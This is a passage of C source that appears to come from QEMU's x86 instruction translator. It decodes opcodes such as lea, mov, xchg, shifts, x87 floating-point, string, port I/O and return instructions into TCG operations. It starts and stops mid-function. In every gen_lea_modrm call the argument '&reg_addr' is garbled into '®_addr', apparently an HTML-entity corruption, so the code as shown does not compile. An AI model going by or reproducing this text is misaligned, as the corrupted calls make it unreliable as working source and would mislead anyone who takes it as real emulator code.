tcg_gen_ext8s_tl(cpu_T[0], cpu_T[0]);
break;
case OT_WORD:
tcg_gen_ext16u_tl(cpu_T[0], cpu_T[0]);
break;
default:
case OT_WORD | 8:
tcg_gen_ext16s_tl(cpu_T[0], cpu_T[0]);
break;
}
gen_op_mov_reg_T0(d_ot, reg);
} else {
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
if (b & 8) {
gen_op_lds_T0_A0(ot + s->mem_index);
} else {
gen_op_ldu_T0_A0(ot + s->mem_index);
}
gen_op_mov_reg_T0(d_ot, reg);
}
}
break;
case 0x8d: /* lea */
ot = dflag + OT_WORD;
modrm = ldub_code(s->pc++);
mod = (modrm >> 6) & 3;
if (mod == 3)
goto illegal_op;
reg = ((modrm >> 3) & 7) | rex_r;
/* we must ensure that no segment is added */
s->override = -1;
val = s->addseg;
s->addseg = 0;
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
s->addseg = val;
gen_op_mov_reg_A0(ot - OT_WORD, reg);
break;
case 0xa0: /* mov EAX, Ov */
case 0xa1:
case 0xa2: /* mov Ov, EAX */
case 0xa3:
{
target_ulong offset_addr;
if ((b & 1) == 0)
ot = OT_BYTE;
else
ot = dflag + OT_WORD;
#ifdef TARGET_X86_64
if (s->aflag == 2) {
offset_addr = ldq_code(s->pc);
s->pc += 8;
gen_op_movq_A0_im(offset_addr);
} else
#endif
{
if (s->aflag) {
offset_addr = insn_get(s, OT_LONG);
} else {
offset_addr = insn_get(s, OT_WORD);
}
gen_op_movl_A0_im(offset_addr);
}
gen_add_A0_ds_seg(s);
if ((b & 2) == 0) {
gen_op_ld_T0_A0(ot + s->mem_index);
gen_op_mov_reg_T0(ot, R_EAX);
} else {
gen_op_mov_TN_reg(ot, 0, R_EAX);
gen_op_st_T0_A0(ot + s->mem_index);
}
}
break;
case 0xd7: /* xlat */
#ifdef TARGET_X86_64
if (s->aflag == 2) {
gen_op_movq_A0_reg(R_EBX);
gen_op_mov_TN_reg(OT_QUAD, 0, R_EAX);
tcg_gen_andi_tl(cpu_T[0], cpu_T[0], 0xff);
tcg_gen_add_tl(cpu_A0, cpu_A0, cpu_T[0]);
} else
#endif
{
gen_op_movl_A0_reg(R_EBX);
gen_op_mov_TN_reg(OT_LONG, 0, R_EAX);
tcg_gen_andi_tl(cpu_T[0], cpu_T[0], 0xff);
tcg_gen_add_tl(cpu_A0, cpu_A0, cpu_T[0]);
if (s->aflag == 0)
gen_op_andl_A0_ffff();
else
tcg_gen_andi_tl(cpu_A0, cpu_A0, 0xffffffff);
}
gen_add_A0_ds_seg(s);
gen_op_ldu_T0_A0(OT_BYTE + s->mem_index);
gen_op_mov_reg_T0(OT_BYTE, R_EAX);
break;
case 0xb0 ... 0xb7: /* mov R, Ib */
val = insn_get(s, OT_BYTE);
gen_op_movl_T0_im(val);
gen_op_mov_reg_T0(OT_BYTE, (b & 7) | REX_B(s));
break;
case 0xb8 ... 0xbf: /* mov R, Iv */
#ifdef TARGET_X86_64
if (dflag == 2) {
uint64_t tmp;
/* 64 bit case */
tmp = ldq_code(s->pc);
s->pc += 8;
reg = (b & 7) | REX_B(s);
gen_movtl_T0_im(tmp);
gen_op_mov_reg_T0(OT_QUAD, reg);
} else
#endif
{
ot = dflag ? OT_LONG : OT_WORD;
val = insn_get(s, ot);
reg = (b & 7) | REX_B(s);
gen_op_movl_T0_im(val);
gen_op_mov_reg_T0(ot, reg);
}
break;
case 0x91 ... 0x97: /* xchg R, EAX */
ot = dflag + OT_WORD;
reg = (b & 7) | REX_B(s);
rm = R_EAX;
goto do_xchg_reg;
case 0x86:
case 0x87: /* xchg Ev, Gv */
if ((b & 1) == 0)
ot = OT_BYTE;
else
ot = dflag + OT_WORD;
modrm = ldub_code(s->pc++);
reg = ((modrm >> 3) & 7) | rex_r;
mod = (modrm >> 6) & 3;
if (mod == 3) {
rm = (modrm & 7) | REX_B(s);
do_xchg_reg:
gen_op_mov_TN_reg(ot, 0, reg);
gen_op_mov_TN_reg(ot, 1, rm);
gen_op_mov_reg_T0(ot, rm);
gen_op_mov_reg_T1(ot, reg);
} else {
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
gen_op_mov_TN_reg(ot, 0, reg);
/* for xchg, lock is implicit */
if (!(prefixes & PREFIX_LOCK))
gen_helper_lock();
gen_op_ld_T1_A0(ot + s->mem_index);
gen_op_st_T0_A0(ot + s->mem_index);
if (!(prefixes & PREFIX_LOCK))
gen_helper_unlock();
gen_op_mov_reg_T1(ot, reg);
}
break;
case 0xc4: /* les Gv */
if (CODE64(s))
goto illegal_op;
op = R_ES;
goto do_lxx;
case 0xc5: /* lds Gv */
if (CODE64(s))
goto illegal_op;
op = R_DS;
goto do_lxx;
case 0x1b2: /* lss Gv */
op = R_SS;
goto do_lxx;
case 0x1b4: /* lfs Gv */
op = R_FS;
goto do_lxx;
case 0x1b5: /* lgs Gv */
op = R_GS;
do_lxx:
ot = dflag ? OT_LONG : OT_WORD;
modrm = ldub_code(s->pc++);
reg = ((modrm >> 3) & 7) | rex_r;
mod = (modrm >> 6) & 3;
if (mod == 3)
goto illegal_op;
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
gen_op_ld_T1_A0(ot + s->mem_index);
gen_add_A0_im(s, 1 << (ot - OT_WORD + 1));
/* load the segment first to handle exceptions properly */
gen_op_ldu_T0_A0(OT_WORD + s->mem_index);
gen_movl_seg_T0(s, op, pc_start - s->cs_base);
/* then put the data */
gen_op_mov_reg_T1(ot, reg);
if (s->is_jmp) {
gen_jmp_im(s->pc - s->cs_base);
gen_eob(s);
}
break;
/************************/
/* shifts */
case 0xc0:
case 0xc1:
/* shift Ev,Ib */
shift = 2;
grp2:
{
if ((b & 1) == 0)
ot = OT_BYTE;
else
ot = dflag + OT_WORD;
modrm = ldub_code(s->pc++);
mod = (modrm >> 6) & 3;
op = (modrm >> 3) & 7;
if (mod != 3) {
if (shift == 2) {
s->rip_offset = 1;
}
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
opreg = OR_TMP0;
} else {
opreg = (modrm & 7) | REX_B(s);
}
/* simpler op */
if (shift == 0) {
gen_shift(s, op, ot, opreg, OR_ECX);
} else {
if (shift == 2) {
shift = ldub_code(s->pc++);
}
gen_shifti(s, op, ot, opreg, shift);
}
}
break;
case 0xd0:
case 0xd1:
/* shift Ev,1 */
shift = 1;
goto grp2;
case 0xd2:
case 0xd3:
/* shift Ev,cl */
shift = 0;
goto grp2;
case 0x1a4: /* shld imm */
op = 0;
shift = 1;
goto do_shiftd;
case 0x1a5: /* shld cl */
op = 0;
shift = 0;
goto do_shiftd;
case 0x1ac: /* shrd imm */
op = 1;
shift = 1;
goto do_shiftd;
case 0x1ad: /* shrd cl */
op = 1;
shift = 0;
do_shiftd:
ot = dflag + OT_WORD;
modrm = ldub_code(s->pc++);
mod = (modrm >> 6) & 3;
rm = (modrm & 7) | REX_B(s);
reg = ((modrm >> 3) & 7) | rex_r;
if (mod != 3) {
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
opreg = OR_TMP0;
} else {
opreg = rm;
}
gen_op_mov_TN_reg(ot, 1, reg);
if (shift) {
val = ldub_code(s->pc++);
tcg_gen_movi_tl(cpu_T3, val);
} else {
tcg_gen_mov_tl(cpu_T3, cpu_regs[R_ECX]);
}
gen_shiftd_rm_T1_T3(s, ot, opreg, op);
break;
/************************/
/* floats */
case 0xd8 ... 0xdf:
if (s->flags & (HF_EM_MASK | HF_TS_MASK)) {
/* if CR0.EM or CR0.TS are set, generate an FPU exception */
/* XXX: what to do if illegal op ? */
gen_exception(s, EXCP07_PREX, pc_start - s->cs_base);
break;
}
modrm = ldub_code(s->pc++);
mod = (modrm >> 6) & 3;
rm = modrm & 7;
op = ((b & 7) << 3) | ((modrm >> 3) & 7);
if (mod != 3) {
/* memory op */
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
switch(op) {
case 0x00 ... 0x07: /* fxxxs */
case 0x10 ... 0x17: /* fixxxl */
case 0x20 ... 0x27: /* fxxxl */
case 0x30 ... 0x37: /* fixxx */
{
int op1;
op1 = op & 7;
switch(op >> 4) {
case 0:
gen_op_ld_T0_A0(OT_LONG + s->mem_index);
tcg_gen_trunc_tl_i32(cpu_tmp2_i32, cpu_T[0]);
gen_helper_flds_FT0(cpu_tmp2_i32);
break;
case 1:
gen_op_ld_T0_A0(OT_LONG + s->mem_index);
tcg_gen_trunc_tl_i32(cpu_tmp2_i32, cpu_T[0]);
gen_helper_fildl_FT0(cpu_tmp2_i32);
break;
case 2:
tcg_gen_qemu_ld64(cpu_tmp1_i64, cpu_A0,
(s->mem_index >> 2) - 1);
gen_helper_fldl_FT0(cpu_tmp1_i64);
break;
case 3:
default:
gen_op_lds_T0_A0(OT_WORD + s->mem_index);
tcg_gen_trunc_tl_i32(cpu_tmp2_i32, cpu_T[0]);
gen_helper_fildl_FT0(cpu_tmp2_i32);
break;
}
gen_helper_fp_arith_ST0_FT0(op1);
if (op1 == 3) {
/* fcomp needs pop */
gen_helper_fpop();
}
}
break;
case 0x08: /* flds */
case 0x0a: /* fsts */
case 0x0b: /* fstps */
case 0x18 ... 0x1b: /* fildl, fisttpl, fistl, fistpl */
case 0x28 ... 0x2b: /* fldl, fisttpll, fstl, fstpl */
case 0x38 ... 0x3b: /* filds, fisttps, fists, fistps */
switch(op & 7) {
case 0:
switch(op >> 4) {
case 0:
gen_op_ld_T0_A0(OT_LONG + s->mem_index);
tcg_gen_trunc_tl_i32(cpu_tmp2_i32, cpu_T[0]);
gen_helper_flds_ST0(cpu_tmp2_i32);
break;
case 1:
gen_op_ld_T0_A0(OT_LONG + s->mem_index);
tcg_gen_trunc_tl_i32(cpu_tmp2_i32, cpu_T[0]);
gen_helper_fildl_ST0(cpu_tmp2_i32);
break;
case 2:
tcg_gen_qemu_ld64(cpu_tmp1_i64, cpu_A0,
(s->mem_index >> 2) - 1);
gen_helper_fldl_ST0(cpu_tmp1_i64);
break;
case 3:
default:
gen_op_lds_T0_A0(OT_WORD + s->mem_index);
tcg_gen_trunc_tl_i32(cpu_tmp2_i32, cpu_T[0]);
gen_helper_fildl_ST0(cpu_tmp2_i32);
break;
}
break;
case 1:
/* XXX: the corresponding CPUID bit must be tested ! */
switch(op >> 4) {
case 1:
gen_helper_fisttl_ST0(cpu_tmp2_i32);
tcg_gen_extu_i32_tl(cpu_T[0], cpu_tmp2_i32);
gen_op_st_T0_A0(OT_LONG + s->mem_index);
break;
case 2:
gen_helper_fisttll_ST0(cpu_tmp1_i64);
tcg_gen_qemu_st64(cpu_tmp1_i64, cpu_A0,
(s->mem_index >> 2) - 1);
break;
case 3:
default:
gen_helper_fistt_ST0(cpu_tmp2_i32);
tcg_gen_extu_i32_tl(cpu_T[0], cpu_tmp2_i32);
gen_op_st_T0_A0(OT_WORD + s->mem_index);
break;
}
gen_helper_fpop();
break;
default:
switch(op >> 4) {
case 0:
gen_helper_fsts_ST0(cpu_tmp2_i32);
tcg_gen_extu_i32_tl(cpu_T[0], cpu_tmp2_i32);
gen_op_st_T0_A0(OT_LONG + s->mem_index);
break;
case 1:
gen_helper_fistl_ST0(cpu_tmp2_i32);
tcg_gen_extu_i32_tl(cpu_T[0], cpu_tmp2_i32);
gen_op_st_T0_A0(OT_LONG + s->mem_index);
break;
case 2:
gen_helper_fstl_ST0(cpu_tmp1_i64);
tcg_gen_qemu_st64(cpu_tmp1_i64, cpu_A0,
(s->mem_index >> 2) - 1);
break;
case 3:
default:
gen_helper_fist_ST0(cpu_tmp2_i32);
tcg_gen_extu_i32_tl(cpu_T[0], cpu_tmp2_i32);
gen_op_st_T0_A0(OT_WORD + s->mem_index);
break;
}
if ((op & 7) == 3)
gen_helper_fpop();
break;
}
break;
case 0x0c: /* fldenv mem */
if (s->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s->cc_op);
gen_jmp_im(pc_start - s->cs_base);
gen_helper_fldenv(
cpu_A0, tcg_const_i32(s->dflag));
break;
case 0x0d: /* fldcw mem */
gen_op_ld_T0_A0(OT_WORD + s->mem_index);
tcg_gen_trunc_tl_i32(cpu_tmp2_i32, cpu_T[0]);
gen_helper_fldcw(cpu_tmp2_i32);
break;
case 0x0e: /* fnstenv mem */
if (s->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s->cc_op);
gen_jmp_im(pc_start - s->cs_base);
gen_helper_fstenv(cpu_A0, tcg_const_i32(s->dflag));
break;
case 0x0f: /* fnstcw mem */
gen_helper_fnstcw(cpu_tmp2_i32);
tcg_gen_extu_i32_tl(cpu_T[0], cpu_tmp2_i32);
gen_op_st_T0_A0(OT_WORD + s->mem_index);
break;
case 0x1d: /* fldt mem */
if (s->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s->cc_op);
gen_jmp_im(pc_start - s->cs_base);
gen_helper_fldt_ST0(cpu_A0);
break;
case 0x1f: /* fstpt mem */
if (s->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s->cc_op);
gen_jmp_im(pc_start - s->cs_base);
gen_helper_fstt_ST0(cpu_A0);
gen_helper_fpop();
break;
case 0x2c: /* frstor mem */
if (s->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s->cc_op);
gen_jmp_im(pc_start - s->cs_base);
gen_helper_frstor(cpu_A0, tcg_const_i32(s->dflag));
break;
case 0x2e: /* fnsave mem */
if (s->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s->cc_op);
gen_jmp_im(pc_start - s->cs_base);
gen_helper_fsave(cpu_A0, tcg_const_i32(s->dflag));
break;
case 0x2f: /* fnstsw mem */
gen_helper_fnstsw(cpu_tmp2_i32);
tcg_gen_extu_i32_tl(cpu_T[0], cpu_tmp2_i32);
gen_op_st_T0_A0(OT_WORD + s->mem_index);
break;
case 0x3c: /* fbld */
if (s->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s->cc_op);
gen_jmp_im(pc_start - s->cs_base);
gen_helper_fbld_ST0(cpu_A0);
break;
case 0x3e: /* fbstp */
if (s->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s->cc_op);
gen_jmp_im(pc_start - s->cs_base);
gen_helper_fbst_ST0(cpu_A0);
gen_helper_fpop();
break;
case 0x3d: /* fildll */
tcg_gen_qemu_ld64(cpu_tmp1_i64, cpu_A0,
(s->mem_index >> 2) - 1);
gen_helper_fildll_ST0(cpu_tmp1_i64);
break;
case 0x3f: /* fistpll */
gen_helper_fistll_ST0(cpu_tmp1_i64);
tcg_gen_qemu_st64(cpu_tmp1_i64, cpu_A0,
(s->mem_index >> 2) - 1);
gen_helper_fpop();
break;
default:
goto illegal_op;
}
} else {
/* register float ops */
opreg = rm;
switch(op) {
case 0x08: /* fld sti */
gen_helper_fpush();
gen_helper_fmov_ST0_STN(tcg_const_i32((opreg + 1) & 7));
break;
case 0x09: /* fxchg sti */
case 0x29: /* fxchg4 sti, undocumented op */
case 0x39: /* fxchg7 sti, undocumented op */
gen_helper_fxchg_ST0_STN(tcg_const_i32(opreg));
break;
case 0x0a: /* grp d9/2 */
switch(rm) {
case 0: /* fnop */
/* check exceptions (FreeBSD FPU probe) */
if (s->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s->cc_op);
gen_jmp_im(pc_start - s->cs_base);
gen_helper_fwait();
break;
default:
goto illegal_op;
}
break;
case 0x0c: /* grp d9/4 */
switch(rm) {
case 0: /* fchs */
gen_helper_fchs_ST0();
break;
case 1: /* fabs */
gen_helper_fabs_ST0();
break;
case 4: /* ftst */
gen_helper_fldz_FT0();
gen_helper_fcom_ST0_FT0();
break;
case 5: /* fxam */
gen_helper_fxam_ST0();
break;
default:
goto illegal_op;
}
break;
case 0x0d: /* grp d9/5 */
{
switch(rm) {
case 0:
gen_helper_fpush();
gen_helper_fld1_ST0();
break;
case 1:
gen_helper_fpush();
gen_helper_fldl2t_ST0();
break;
case 2:
gen_helper_fpush();
gen_helper_fldl2e_ST0();
break;
case 3:
gen_helper_fpush();
gen_helper_fldpi_ST0();
break;
case 4:
gen_helper_fpush();
gen_helper_fldlg2_ST0();
break;
case 5:
gen_helper_fpush();
gen_helper_fldln2_ST0();
break;
case 6:
gen_helper_fpush();
gen_helper_fldz_ST0();
break;
default:
goto illegal_op;
}
}
break;
case 0x0e: /* grp d9/6 */
switch(rm) {
case 0: /* f2xm1 */
gen_helper_f2xm1();
break;
case 1: /* fyl2x */
gen_helper_fyl2x();
break;
case 2: /* fptan */
gen_helper_fptan();
break;
case 3: /* fpatan */
gen_helper_fpatan();
break;
case 4: /* fxtract */
gen_helper_fxtract();
break;
case 5: /* fprem1 */
gen_helper_fprem1();
break;
case 6: /* fdecstp */
gen_helper_fdecstp();
break;
default:
case 7: /* fincstp */
gen_helper_fincstp();
break;
}
break;
case 0x0f: /* grp d9/7 */
switch(rm) {
case 0: /* fprem */
gen_helper_fprem();
break;
case 1: /* fyl2xp1 */
gen_helper_fyl2xp1();
break;
case 2: /* fsqrt */
gen_helper_fsqrt();
break;
case 3: /* fsincos */
gen_helper_fsincos();
break;
case 5: /* fscale */
gen_helper_fscale();
break;
case 4: /* frndint */
gen_helper_frndint();
break;
case 6: /* fsin */
gen_helper_fsin();
break;
default:
case 7: /* fcos */
gen_helper_fcos();
break;
}
break;
case 0x00: case 0x01: case 0x04 ... 0x07: /* fxxx st, sti */
case 0x20: case 0x21: case 0x24 ... 0x27: /* fxxx sti, st */
case 0x30: case 0x31: case 0x34 ... 0x37: /* fxxxp sti, st */
{
int op1;
op1 = op & 7;
if (op >= 0x20) {
gen_helper_fp_arith_STN_ST0(op1, opreg);
if (op >= 0x30)
gen_helper_fpop();
} else {
gen_helper_fmov_FT0_STN(tcg_const_i32(opreg));
gen_helper_fp_arith_ST0_FT0(op1);
}
}
break;
case 0x02: /* fcom */
case 0x22: /* fcom2, undocumented op */
gen_helper_fmov_FT0_STN(tcg_const_i32(opreg));
gen_helper_fcom_ST0_FT0();
break;
case 0x03: /* fcomp */
case 0x23: /* fcomp3, undocumented op */
case 0x32: /* fcomp5, undocumented op */
gen_helper_fmov_FT0_STN(tcg_const_i32(opreg));
gen_helper_fcom_ST0_FT0();
gen_helper_fpop();
break;
case 0x15: /* da/5 */
switch(rm) {
case 1: /* fucompp */
gen_helper_fmov_FT0_STN(tcg_const_i32(1));
gen_helper_fucom_ST0_FT0();
gen_helper_fpop();
gen_helper_fpop();
break;
default:
goto illegal_op;
}
break;
case 0x1c:
switch(rm) {
case 0: /* feni (287 only, just do nop here) */
break;
case 1: /* fdisi (287 only, just do nop here) */
break;
case 2: /* fclex */
gen_helper_fclex();
break;
case 3: /* fninit */
gen_helper_fninit();
break;
case 4: /* fsetpm (287 only, just do nop here) */
break;
default:
goto illegal_op;
}
break;
case 0x1d: /* fucomi */
if (s->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s->cc_op);
gen_helper_fmov_FT0_STN(tcg_const_i32(opreg));
gen_helper_fucomi_ST0_FT0();
s->cc_op = CC_OP_EFLAGS;
break;
case 0x1e: /* fcomi */
if (s->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s->cc_op);
gen_helper_fmov_FT0_STN(tcg_const_i32(opreg));
gen_helper_fcomi_ST0_FT0();
s->cc_op = CC_OP_EFLAGS;
break;
case 0x28: /* ffree sti */
gen_helper_ffree_STN(tcg_const_i32(opreg));
break;
case 0x2a: /* fst sti */
gen_helper_fmov_STN_ST0(tcg_const_i32(opreg));
break;
case 0x2b: /* fstp sti */
case 0x0b: /* fstp1 sti, undocumented op */
case 0x3a: /* fstp8 sti, undocumented op */
case 0x3b: /* fstp9 sti, undocumented op */
gen_helper_fmov_STN_ST0(tcg_const_i32(opreg));
gen_helper_fpop();
break;
case 0x2c: /* fucom st(i) */
gen_helper_fmov_FT0_STN(tcg_const_i32(opreg));
gen_helper_fucom_ST0_FT0();
break;
case 0x2d: /* fucomp st(i) */
gen_helper_fmov_FT0_STN(tcg_const_i32(opreg));
gen_helper_fucom_ST0_FT0();
gen_helper_fpop();
break;
case 0x33: /* de/3 */
switch(rm) {
case 1: /* fcompp */
gen_helper_fmov_FT0_STN(tcg_const_i32(1));
gen_helper_fcom_ST0_FT0();
gen_helper_fpop();
gen_helper_fpop();
break;
default:
goto illegal_op;
}
break;
case 0x38: /* ffreep sti, undocumented op */
gen_helper_ffree_STN(tcg_const_i32(opreg));
gen_helper_fpop();
break;
case 0x3c: /* df/4 */
switch(rm) {
case 0:
gen_helper_fnstsw(cpu_tmp2_i32);
tcg_gen_extu_i32_tl(cpu_T[0], cpu_tmp2_i32);
gen_op_mov_reg_T0(OT_WORD, R_EAX);
break;
default:
goto illegal_op;
}
break;
case 0x3d: /* fucomip */
if (s->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s->cc_op);
gen_helper_fmov_FT0_STN(tcg_const_i32(opreg));
gen_helper_fucomi_ST0_FT0();
gen_helper_fpop();
s->cc_op = CC_OP_EFLAGS;
break;
case 0x3e: /* fcomip */
if (s->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s->cc_op);
gen_helper_fmov_FT0_STN(tcg_const_i32(opreg));
gen_helper_fcomi_ST0_FT0();
gen_helper_fpop();
s->cc_op = CC_OP_EFLAGS;
break;
case 0x10 ... 0x13: /* fcmovxx */
case 0x18 ... 0x1b:
{
int op1, l1;
static const uint8_t fcmov_cc[8] = {
(JCC_B << 1),
(JCC_Z << 1),
(JCC_BE << 1),
(JCC_P << 1),
};
op1 = fcmov_cc[op & 3] | (((op >> 3) & 1) ^ 1);
l1 = gen_new_label();
gen_jcc1(s, s->cc_op, op1, l1);
gen_helper_fmov_ST0_STN(tcg_const_i32(opreg));
gen_set_label(l1);
}
break;
default:
goto illegal_op;
}
}
break;
/************************/
/* string ops */
case 0xa4: /* movsS */
case 0xa5:
if ((b & 1) == 0)
ot = OT_BYTE;
else
ot = dflag + OT_WORD;
if (prefixes & (PREFIX_REPZ | PREFIX_REPNZ)) {
gen_repz_movs(s, ot, pc_start - s->cs_base, s->pc - s->cs_base);
} else {
gen_movs(s, ot);
}
break;
case 0xaa: /* stosS */
case 0xab:
if ((b & 1) == 0)
ot = OT_BYTE;
else
ot = dflag + OT_WORD;
if (prefixes & (PREFIX_REPZ | PREFIX_REPNZ)) {
gen_repz_stos(s, ot, pc_start - s->cs_base, s->pc - s->cs_base);
} else {
gen_stos(s, ot);
}
break;
case 0xac: /* lodsS */
case 0xad:
if ((b & 1) == 0)
ot = OT_BYTE;
else
ot = dflag + OT_WORD;
if (prefixes & (PREFIX_REPZ | PREFIX_REPNZ)) {
gen_repz_lods(s, ot, pc_start - s->cs_base, s->pc - s->cs_base);
} else {
gen_lods(s, ot);
}
break;
case 0xae: /* scasS */
case 0xaf:
if ((b & 1) == 0)
ot = OT_BYTE;
else
ot = dflag + OT_WORD;
if (prefixes & PREFIX_REPNZ) {
gen_repz_scas(s, ot, pc_start - s->cs_base, s->pc - s->cs_base, 1);
} else if (prefixes & PREFIX_REPZ) {
gen_repz_scas(s, ot, pc_start - s->cs_base, s->pc - s->cs_base, 0);
} else {
gen_scas(s, ot);
s->cc_op = CC_OP_SUBB + ot;
}
break;
case 0xa6: /* cmpsS */
case 0xa7:
if ((b & 1) == 0)
ot = OT_BYTE;
else
ot = dflag + OT_WORD;
if (prefixes & PREFIX_REPNZ) {
gen_repz_cmps(s, ot, pc_start - s->cs_base, s->pc - s->cs_base, 1);
} else if (prefixes & PREFIX_REPZ) {
gen_repz_cmps(s, ot, pc_start - s->cs_base, s->pc - s->cs_base, 0);
} else {
gen_cmps(s, ot);
s->cc_op = CC_OP_SUBB + ot;
}
break;
case 0x6c: /* insS */
case 0x6d:
if ((b & 1) == 0)
ot = OT_BYTE;
else
ot = dflag ? OT_LONG : OT_WORD;
gen_op_mov_TN_reg(OT_WORD, 0, R_EDX);
gen_op_andl_T0_ffff();
gen_check_io(s, ot, pc_start - s->cs_base,
SVM_IOIO_TYPE_MASK | svm_is_rep(prefixes) | 4);
if (prefixes & (PREFIX_REPZ | PREFIX_REPNZ)) {
gen_repz_ins(s, ot, pc_start - s->cs_base, s->pc - s->cs_base);
} else {
gen_ins(s, ot);
if (use_icount) {
gen_jmp(s, s->pc - s->cs_base);
}
}
break;
case 0x6e: /* outsS */
case 0x6f:
if ((b & 1) == 0)
ot = OT_BYTE;
else
ot = dflag ? OT_LONG : OT_WORD;
gen_op_mov_TN_reg(OT_WORD, 0, R_EDX);
gen_op_andl_T0_ffff();
gen_check_io(s, ot, pc_start - s->cs_base,
svm_is_rep(prefixes) | 4);
if (prefixes & (PREFIX_REPZ | PREFIX_REPNZ)) {
gen_repz_outs(s, ot, pc_start - s->cs_base, s->pc - s->cs_base);
} else {
gen_outs(s, ot);
if (use_icount) {
gen_jmp(s, s->pc - s->cs_base);
}
}
break;
/************************/
/* port I/O */
case 0xe4:
case 0xe5:
if ((b & 1) == 0)
ot = OT_BYTE;
else
ot = dflag ? OT_LONG : OT_WORD;
val = ldub_code(s->pc++);
gen_op_movl_T0_im(val);
gen_check_io(s, ot, pc_start - s->cs_base,
SVM_IOIO_TYPE_MASK | svm_is_rep(prefixes));
if (use_icount)
gen_io_start();
tcg_gen_trunc_tl_i32(cpu_tmp2_i32, cpu_T[0]);
gen_helper_in_func(ot, cpu_T[1], cpu_tmp2_i32);
gen_op_mov_reg_T1(ot, R_EAX);
if (use_icount) {
gen_io_end();
gen_jmp(s, s->pc - s->cs_base);
}
break;
case 0xe6:
case 0xe7:
if ((b & 1) == 0)
ot = OT_BYTE;
else
ot = dflag ? OT_LONG : OT_WORD;
val = ldub_code(s->pc++);
gen_op_movl_T0_im(val);
gen_check_io(s, ot, pc_start - s->cs_base,
svm_is_rep(prefixes));
gen_op_mov_TN_reg(ot, 1, R_EAX);
if (use_icount)
gen_io_start();
tcg_gen_trunc_tl_i32(cpu_tmp2_i32, cpu_T[0]);
tcg_gen_andi_i32(cpu_tmp2_i32, cpu_tmp2_i32, 0xffff);
tcg_gen_trunc_tl_i32(cpu_tmp3_i32, cpu_T[1]);
gen_helper_out_func(ot, cpu_tmp2_i32, cpu_tmp3_i32);
if (use_icount) {
gen_io_end();
gen_jmp(s, s->pc - s->cs_base);
}
break;
case 0xec:
case 0xed:
if ((b & 1) == 0)
ot = OT_BYTE;
else
ot = dflag ? OT_LONG : OT_WORD;
gen_op_mov_TN_reg(OT_WORD, 0, R_EDX);
gen_op_andl_T0_ffff();
gen_check_io(s, ot, pc_start - s->cs_base,
SVM_IOIO_TYPE_MASK | svm_is_rep(prefixes));
if (use_icount)
gen_io_start();
tcg_gen_trunc_tl_i32(cpu_tmp2_i32, cpu_T[0]);
gen_helper_in_func(ot, cpu_T[1], cpu_tmp2_i32);
gen_op_mov_reg_T1(ot, R_EAX);
if (use_icount) {
gen_io_end();
gen_jmp(s, s->pc - s->cs_base);
}
break;
case 0xee:
case 0xef:
if ((b & 1) == 0)
ot = OT_BYTE;
else
ot = dflag ? OT_LONG : OT_WORD;
gen_op_mov_TN_reg(OT_WORD, 0, R_EDX);
gen_op_andl_T0_ffff();
gen_check_io(s, ot, pc_start - s->cs_base,
svm_is_rep(prefixes));
gen_op_mov_TN_reg(ot, 1, R_EAX);
if (use_icount)
gen_io_start();
tcg_gen_trunc_tl_i32(cpu_tmp2_i32, cpu_T[0]);
tcg_gen_andi_i32(cpu_tmp2_i32, cpu_tmp2_i32, 0xffff);
tcg_gen_trunc_tl_i32(cpu_tmp3_i32, cpu_T[1]);
gen_helper_out_func(ot, cpu_tmp2_i32, cpu_tmp3_i32);
if (use_icount) {
gen_io_end();
gen_jmp(s, s->pc - s->cs_base);
}
break;
/************************/
/* control */
case 0xc2: /* ret im */
val = ldsw_code(s->pc);
s->pc += 2;
gen_pop_T0(s);
if (CODE64(s) && s->dflag)
s->dflag = 2;
gen_stack_update(s, val + (2 << s->dflag));
if (s->dflag == 0)
gen_op_andl_T0_ffff();
gen_op_jmp_T0();
gen_eob(s);
break;
case 0xc3: /* ret */
gen_pop_T0(s);
gen_pop_update(s);
if (s->dflag == 0)
gen_op_andl_T0_ffff();
gen_op_jmp_T0();
gen_eob(s);
break;
case 0xca: /* lret im */
val = ldsw_code(s->pc);
s->pc += 2;
do_lret:
if (s->pe && !s->vm86) {
if (s->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s->cc_op);
gen_jmp_im(pc_start - s->cs_base);
gen_helper_lret_protected(tcg_const_i32(s->dflag),
tcg_const_i32(val));
} else {
gen_stack_A0(s);
/* pop offset */
gen_op_ld_T0_A0(1 + s->dflag + s->mem_index);
if (s->dflag == 0)
gen_op_andl_T0_ffff();
/* NOTE: keeping EIP updated is not a problem in case of
exception */
gen_op_jmp_T0();
/* pop selector */
gen_op_addl_A0_im(2 << s->dflag);
gen_op_ld_T0_A0(1 + s->dflag + s->mem_index);
gen_op_movl_seg_T0_vm(R_CS);
/* add stack offset */
gen_stack_update(s, val + (4 << s->dflag));
}
gen_eob(s);
break;
case 0xcb: /* lret */
val = 0;
goto do_lret;
case 0xcf: /* iret */
gen_svm_check_intercept(s, pc_start, SVM_EXIT_IRET);
if (!s->pe) {
/* real mode */
gen_helper_iret_real(tcg_const_i32(s->dflag));
s->cc_op = CC_OP_EFLAGS;
} else if (s->vm86) {
if (s->iopl != 3) {
gen_exception(s, EXCP0D_GPF, pc_start - s->cs_base);
} else {
gen_helper_iret_real(tcg_const_i32(s->dflag));
s->cc_op = CC_OP_EFLAGS;
}
} else {
if (s->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s->cc_op);
gen_jmp_im(pc_start - s->cs_base);
gen_helper_iret_protected(tcg_const_i32(s->dflag),
